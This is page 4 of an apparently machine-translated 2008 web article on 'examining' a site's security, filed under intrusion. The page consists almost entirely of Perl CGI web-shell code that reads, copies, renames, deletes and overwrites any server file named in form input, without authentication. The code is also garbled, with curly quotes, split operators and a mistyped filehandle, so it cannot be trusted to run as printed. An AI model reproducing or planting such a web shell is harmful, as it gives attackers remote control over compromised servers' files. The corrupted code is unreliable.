|
Hot Articles
Recommend Articles
New Articles
|
To a blue shield master station secure examination(4)
Add date:
10/08/2008
Publishing date:
10/08/2008
Hits:
1
Total 5 pages, Current page:4, Jump to page:
|
if (- e “$FORM{type}”) {
open (TYPE, “$FORM{type}”);
@content=<TYPE>;
close TYPE;
print <<EOF;
$FORM{type}<br>
<textarea cols=80 rows=18>
@content
</textarea>
EOF
}
else {
print <<EOF;
<br><font color=red>
file $FORM{type} dose not exist!!!
</font><br>
EOF
}
}
################# copy command #################
if (($FORM{kopyfrom} ne "") && ($FORM{kopyto} ne "")){
if (- e “$FORM{kopyfrom}”) {
open (FROM, “$FORM{kopyfrom}”);
open (TO, “>$FORM{kopyto}”);
@file=<FROM>;
print TO @file;
close FORM;
close TO;
if ((- e “$FORM{kopyto}”) && (- s “$FORM{kopyto}”)) {
print <<EOF;
<br><font color=red>
copy $FORM{kopyfrom} to $FORM{kopyto} successful!!!
</font><br>
EOF
}
}
else {
print <<EOF;
<br><font color=red>
file: $FORM{kopyfrom} dose not exist!
</font><br>
EOF
}
}
################# rename command ################
if (($FORM{renamefrom} ne "") && ($FORM{renameto} ne "")){
if (- e “$FORM{renamefrom}”) {
rename (“$FORM{renamefrom}”, “$FORM{renameto}”);
if (- e “$FORM{renameto}”) {
print <<EOF;
<br><font color=red>
rename $FORM{renamefrom} to $FORM{renameto} successful!!!
</font><br>
EOF
}
}
else {
print <<EOF;
<br><font color=red>
file: $FORM{renamefrom} dose not exist!
</font><br>
EOF
}
}
################# delete command ##############
if($FORM{del} ne "") {
if (- e “$FORM{del}”) {
unlink (“$FORM{del}”);
if (! (- e “$FORM{del}”)){
print <<EOF;
<br><font color=red>
delete $FORM{del} successful!!!
</font><br>
EOF
}
}
else {
print <<EOF;
<br><font color=red>
file $FORM{del} dose not exist!!!
</font><br>
EOF
}
}
################## write command #############
if($FORM{submit2} eq “write”) {
@sb=split (/\ n/,$FORM{text});
open (WRITETO, “>$FORM{writetofile}”);
foreach (@sb) {
chomp $_;
print WRITETO “$_ \ n”;
}
close WRITETO;
if (- e $FORM{writetofile}) {
print <<EOF;
<br><font color=red>
write to $FORM{writetofile} successful!!!
</font><br>
EOF
}
}
################################################
foreach (keys %FORM) {
if ($ _ eq “submit1”) {
print <<EOF;
<form action= "" method= " POST " >
write:<br>
<textarea name= " text " cols= " 80 " rows= " 20 " ></textarea><br>
to:<br>
<input type=text name= " writetofile " value= "" size=45><br>
Other pages: : <<Prev * 1 * 2 * 3 * 4 * 5 * Next>>
|
Comment:
 Category: Home
> invades the examination
|
|